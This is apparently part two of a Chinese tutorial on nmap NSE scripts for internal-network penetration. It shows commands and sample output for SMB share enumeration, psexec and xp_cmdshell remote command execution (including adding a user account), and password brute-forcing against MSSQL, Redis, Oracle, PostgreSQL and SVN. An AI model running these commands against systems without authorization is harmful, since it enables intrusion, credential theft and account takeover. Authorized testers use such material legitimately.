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nmap加载nse脚本在内网渗透中的使用-下

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smb-ls.nse 列举共享目录内的文件,配合smb-enum-share使用

nmap -p 445 <ip> –script smb-ls –script-args ‘share=c$,path=\temp’

nmap -p 445 <ip> –script smb-enum-shares,smb-ls

Script Output

Host script results:
| smb-ls:
|   Volume \\192.168.56.101\c$\
|   SIZE   TIME                 FILENAME
|   0      2007-12-02 00:20:09  AUTOEXEC.BAT
|   0      2007-12-02 00:20:09  CONFIG.SYS
|   <DIR>  2007-12-02 00:53:39  Documents and Settings
|   <DIR>  2009-09-08 13:26:10  e5a6b742d36facb19c5192852c43
|   <DIR>  2008-12-01 02:06:29  Inetpub
|   94720  2007-02-18 00:31:38  msizap.exe
|   <DIR>  2007-12-02 00:55:01  Program Files
|   <DIR>  2008-12-01 02:05:52  temp
|   <DIR>  2011-12-16 14:40:18  usr
|   <DIR>  2007-12-02 00:42:40  WINDOWS
|   <DIR>  2007-12-02 00:22:38  wmpub
|_

当然,我们也可以把这些参数都加上,然后执行

map -v -sV –min-hostgroup 50 –script=smb-os-discovery –script=smbv2-enabled –script=smb-enum-domains –script=smb-enum-

groups —script=smb-enum-shares –script=smb-enum-processes –script=smb-enum-sessions –script=smb-enum-users —script=smb-

ls –script=smb-security-mode –script=smb-server-stats –script=smb-system-info -p 445 -oA xx 10.65.152.101

这样可以一次性输出所有的smb相关的信息,保存到xx文件里,方便我们本地查看

smb-psexec.nse 当我们获取到smb的用户密码时,可以通过smb-psexec在远程主机来执行我们的命令

nmap –script smb-psexec.nse –script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p445 <host>

sudo nmap -sU -sS –script smb-psexec.nse –script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p

U:137,T:139 <host>

Script Output

Host script results:
|  smb-psexec:
|  |  Windows version
|  |  |_ Microsoft Windows 2000 [Version 5.00.2195]
|  |  IP Address and MAC Address from 'ipconfig.exe'
|  |  |  Ethernet adapter Local Area Connection 2:
|  |  |         MAC Address: 00:50:56:A1:24:C2
|  |  |         IP Address: 10.0.0.30
|  |  |  Ethernet adapter Local Area Connection:
|  |  |_        MAC Address: 00:50:56:A1:00:65
|  |  User list from 'net user'
|  |  |  Administrator            TestUser3                Guest
|  |  |  IUSR_RON-WIN2K-TEST      IWAM_RON-WIN2K-TEST      nmap
|  |  |  rontest123               sshd                     SvcCOPSSH
|  |  |_ test1234                 Testing                  TsInternetUser
|  |  Membership of 'administrators' from 'net localgroup administrators'
|  |  |  Administrator
|  |  |  SvcCOPSSH
|  |  |  test1234
|  |  |_ Testing
|  |  Can the host ping our address?
|  |  |  Pinging 10.0.0.138 with 32 bytes of data:
|  |  |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
|  |  Traceroute back to the scanner
|  |  |_   1   <10 ms   <10 ms   <10 ms  10.0.0.138
|  |  ARP Cache from arp.exe
|  |  |    Internet Address      Physical Address      Type
|  |  |_   10.0.0.138            00-50-56-a1-27-4b     dynamic
|  |  List of listening and established connections (netstat -an)
|  |  |    Proto  Local Address          Foreign Address        State
|  |  |    TCP    0.0.0.0:22             0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:1028           0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
|  |  |    TCP    0.0.0.0:4933           0.0.0.0:0              LISTENING
|  |  |    TCP    10.0.0.30:139          0.0.0.0:0              LISTENING
|  |  |    TCP    127.0.0.1:2528         127.0.0.1:2529         ESTABLISHED
|  |  |    TCP    127.0.0.1:2529         127.0.0.1:2528         ESTABLISHED
|  |  |    TCP    127.0.0.1:2531         127.0.0.1:2532         ESTABLISHED
|  |  |    TCP    127.0.0.1:2532         127.0.0.1:2531         ESTABLISHED
|  |  |    TCP    127.0.0.1:5152         0.0.0.0:0              LISTENING
|  |  |    TCP    127.0.0.1:5152         127.0.0.1:2530         CLOSE_WAIT
|  |  |    UDP    0.0.0.0:135            *:*
|  |  |    UDP    0.0.0.0:445            *:*
|  |  |    UDP    0.0.0.0:1030           *:*
|  |  |    UDP    0.0.0.0:3456           *:*
|  |  |    UDP    10.0.0.30:137          *:*
|  |  |    UDP    10.0.0.30:138          *:*
|  |  |    UDP    10.0.0.30:500          *:*
|  |  |    UDP    10.0.0.30:4500         *:*
|  |  |_   UDP    127.0.0.1:1026         *:*
|  |  Full routing table from 'netstat -nr'
|  |  |  ===========================================================================
|  |  |  Interface List
|  |  |  0x1 ........................... MS TCP Loopback interface
|  |  |  0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
|  |  |  0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
|  |  |  ===========================================================================
|  |  |  ===========================================================================
|  |  |  Active Routes:
|  |  |  Network Destination        Netmask          Gateway       Interface  Metric
|  |  |           10.0.0.0    255.255.255.0        10.0.0.30       10.0.0.30      1
|  |  |          10.0.0.30  255.255.255.255        127.0.0.1       127.0.0.1      1
|  |  |     10.255.255.255  255.255.255.255        10.0.0.30       10.0.0.30      1
|  |  |          127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1      1
|  |  |          224.0.0.0        224.0.0.0        10.0.0.30       10.0.0.30      1
|  |  |    255.255.255.255  255.255.255.255        10.0.0.30               2      1
|  |  |  ===========================================================================
|  |  |  Persistent Routes:
|  |  |    None
|_ |_ |_ Route Table

smb-system-info.nse 通过smb协议获取目标主机的操作系统信息,环境变量,硬件信息以及浏览器版本等。

nmap –script smb-system-info.nse -p445 <host>

sudo nmap -sU -sS –script smb-system-info.nse -p U:137,T:139 <host>

Script Output

Host script results:
|  smb-system-info:
|  |  OS Details
|  |  |  Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
|  |  |  Installed on 2008-10-10 05:47:19
|  |  |  Registered to Ron (organization: Government of Manitoba)
|  |  |  Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
|  |  |  Systemroot: C:\WINNT
|  |  |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
|  |  Hardware
|  |  |  CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
|  |  |  |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
|  |  |_ Video driver: VMware SVGA II
|  |  Browsers
|  |  |  Internet Explorer 6.0000
|_ |_ |_ Firefox 3.0.12 (en-US)

ms-sql-brute.nse 有时候收集到一定的用户密码之后,可以组合成字典,对域内的mssql机器进行破解,可以快速获取更多的mssql管理权限,通过其他途径获取目标机器管理权限。

nmap -p 445 –script ms-sql-brute –script-args mssql.instance-all,userdb=customuser.txt,passdb=custompass.txt <host>

nmap -p 1433 –script ms-sql-brute –script-args userdb=customuser.txt,passdb=custompass.txt <host>

Script Output

| ms-sql-brute:
|   [192.168.100.128\TEST]
|     No credentials found
|     Warnings:
|       sa: AccountLockedOut
|   [192.168.100.128\PROD]
|     Credentials found:
|       webshop_reader:secret => Login Success
|       testuser:secret1234 => PasswordMustChange
|_      lordvader:secret1234 => Login Success

ms-sql-xp-cmdshell.nse 顾名思义,当我们知道mssql的sa权限用户名密码时,可以通过nmap脚本来执行我们指定的命令,可以通过smb协议或者mssql来执行

nmap -p 445 –script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell <host>

nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=”net user test test /add” <host>

Script Output

| ms-sql-xp-cmdshell:
|   [192.168.56.3\MSSQLSERVER]
|     Command: ipconfig /all
|       output
|       ======
|
|       Windows IP Configuration
|
|          Host Name . . . . . . . . . . . . : EDUSRV011
|          Primary Dns Suffix  . . . . . . . : cqure.net
|          Node Type . . . . . . . . . . . . : Unknown
|          IP Routing Enabled. . . . . . . . : No
|          WINS Proxy Enabled. . . . . . . . : No
|          DNS Suffix Search List. . . . . . : cqure.net
|
|       Ethernet adapter Local Area Connection 3:
|
|          Connection-specific DNS Suffix  . :
|          Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2
|          Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE
|          DHCP Enabled. . . . . . . . . . . : Yes
|          Autoconfiguration Enabled . . . . : Yes
|          IP Address. . . . . . . . . . . . : 192.168.56.3
|          Subnet Mask . . . . . . . . . . . : 255.255.255.0
|          Default Gateway . . . . . . . . . :
|          DHCP Server . . . . . . . . . . . : 192.168.56.2
|          Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10
|          Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10
|_

redis.nse 这里就不多说了,爆破redis的用户密码,结合前段时间的redis的写入ssh key,可以获取到服务器的权限。

nmap -p 6379 <ip> –script redis-brute

Script Output

PORT     STATE SERVICE
6379/tcp open  unknown
| redis-brute:
|   Accounts
|     toledo - Valid credentials
|   Statistics
|_    Performed 5000 guesses in 3 seconds, average tps: 1666

oracle-sid-brute.nse 挂载字典爆破oracle的sid

nmap –script=oracle-sid-brute –script-args=oraclesids=/path/to/sidfile -p 1521-1560 <host>

nmap –script=oracle-sid-brute -p 1521-1560 <host>

Script Output

PORT     STATE SERVICE REASON
1521/tcp open  oracle  syn-ack
| oracle-sid-brute:
|   orcl
|   prod
|_  devel

pgsql-brute.nse postgresql用户密码猜解脚本,对pgsql进行密码爆破,再适当的权限下,可以读写文件,执行命令,从而进一步获取服务器控制权限。

nmap -p 5432 –script pgsql-brute <host>

Script Output

5432/tcp open  pgsql
| pgsql-brute:
|   root:<empty> => Valid credentials
|_  test:test => Valid credentials

oracle-enum-users 通过挂载字典,遍历oracle的可用用户

nmap –script oracle-enum-users –script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>

If no userdb is supplied the default userlist is used

Script Output

PORT     STATE SERVICE REASON
1521/tcp open  oracle  syn-ack
| oracle-enum-users:
|   haxxor is a valid user account
|   noob is a valid user account
|_  patrik is a valid user account

oracle-brute.nse 知道sid之后,我们可以爆破oracle的用户密码,,然后再进行其他操作。

nmap –script oracle-brute -p 1521 –script-args oracle-brute.sid=ORCL <host>

Script Output

PORT     STATE  SERVICE REASON
1521/tcp open  oracle  syn-ack
| oracle-brute:
|   Accounts
|     system:powell => Account locked
|     haxxor:haxxor => Valid credentials
|   Statistics
|_    Perfomed 157 guesses in 8 seconds, average tps: 19

svn-brute.nse 大量的svn服务器存在于企业内网,通过这些svn服务器上的内容,我们可以下载源代码,寻找一些有用的信息,svn-brute对svn服务器进行爆破。

nmap –script svn-brute –script-args svn-brute.repo=/svn/ -p 3690 <host>

Script Output

PORT     STATE SERVICE REASON
3690/tcp open  svn     syn-ack
| svn-brute:
|   Accounts
|_    patrik:secret => Login correct

Summary
-------
  x The svn class contains the code needed to perform CRAM-MD5
    authentication
  x The Driver class contains the driver implementation used by the brute
    library

以上是个人经常用到的一些nmap的脚本,对内网进行渗透,当然,扫描经常会触发ids或者其他的安全设备,所以在用的时候,仁者见仁,智者见智,不能一概而论,根据实际的环境,来选择合适的脚本。

 

*来源:milsec  Mottoin授权发布

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